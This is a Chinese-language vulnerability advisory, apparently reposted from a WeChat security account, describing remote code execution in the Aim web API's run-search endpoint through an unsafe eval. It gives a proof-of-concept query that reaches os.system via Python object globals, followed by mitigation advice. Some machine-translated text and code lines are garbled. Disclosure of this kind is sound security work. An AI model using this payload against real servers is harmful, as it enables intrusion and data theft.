摘要
- 漏洞类型:远程代码执行(RCE)
- 产品:目标
- 版本:>= 3.0.0(afaik)
- 受影响的端点:
/api/runs/search/run/
- 严重性:临界
描述
在aim
项目中发现了一个关键的远程代码执行漏洞,特别是在/api/runs/search/run/
端点中。该漏洞允许攻击者在服务器上执行任意代码,这可能会导致系统完全泄露。
易受弱的代码
该漏洞存在于theaimaim/web/api/runs/views.py
文件中的therunrun_search_api
函数中。该代码没有正确限制用户对RunView
对象的访问,允许通过query
参数执行任意代码。
开始分析🧐
@runs_router.get('/search/run/', response_model=RunSearchApiOut, responses={400: {'model': QuerySyntaxErrorOut}})
async def run_search_api(q: Optional[str] = '', limit: Optional[int] = 0, offset: Optional[str] = None, ...):
from aim.sdk.sequence_collection import QueryRunSequenceCollection
repo = get_project_repo()
query = checked_query(q)
repo._prepare_runs_cache()
runs = QueryRunSequenceCollection(repo=repo, query=query, paginated=bool(limit), offset=offset, ...)
streamer = run_search_resul
t_stre
amer(runs, limit, ...)
return StreamingResponse(streamer)
功能呼叫链
-
端点处理程序:
-
- 端点:
/api/runs/search/run/
- 位置:
aim/web/api/runs/views.py
- 线路:
#80
- 代码:
streamer
= run_search_result_streamer(runs, limit, ...)
- 端点:
-
迭代超过运行:
-
- 位置:
aim/web/api/runs/utils.py
- 线路:
#258
- 功能:
run_search_result_streamer
- 代码:
for
run_trace_collection, progress in runs.iter_runs():
# ...
- 位置:
-
QueryRunSequenceCollection.iter_runs():
-
- 位置:
aim/sdk/sequence_collection.py
- 线路:
#249
- 方法:
iter_runs
- 代码:
self.query.check(run=run_view)
- 位置:
- Query.check():
- 位置:
aim/storage/query.py
- 线路:
#190
- 方法:
check
- 代码:
eval(self._checker, restricted_globals, namespace)
概念验证(PoC)
以下POC演示了RCE漏洞:
run.run.dataframe().query
("@run.run.__class__.__init__.__globals__['logging'].os.system('id')")
利用对RunView对象的无限制访问,允许任意代码执行,导致服务器完全泄露,包括网络访问、文件系统、秘密和云元数据。
减轻
为了缓解此漏洞,建议:
-
限制用户访问:限制用户访问DataFrame等危险对象。
-
实施适当的输入验证:确保用户输入,特别是查询中使用的输入,经过适当验证和消毒,以防止代码注入。
影响
这种RCE漏洞可能会产生严重的后果,包括但不限于:
-
网络泄露:攻击者可以执行任意命令,这可能会导致网络泄露。
-
文件系统访问:对文件系统的完全访问允许攻击者读取、写入和删除文件,从而损害系统完整性和可用性。
-
访问秘密:访问文件系统内的敏感数据,包括环境变量、秘密和潜在的云元数据。
-
数据泄露:执行任意代码的能力为攻击者提供了泄露敏感信息的手段。
原文始发于微信公众号(jacky安全):Aim Web API 远程代码执行
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论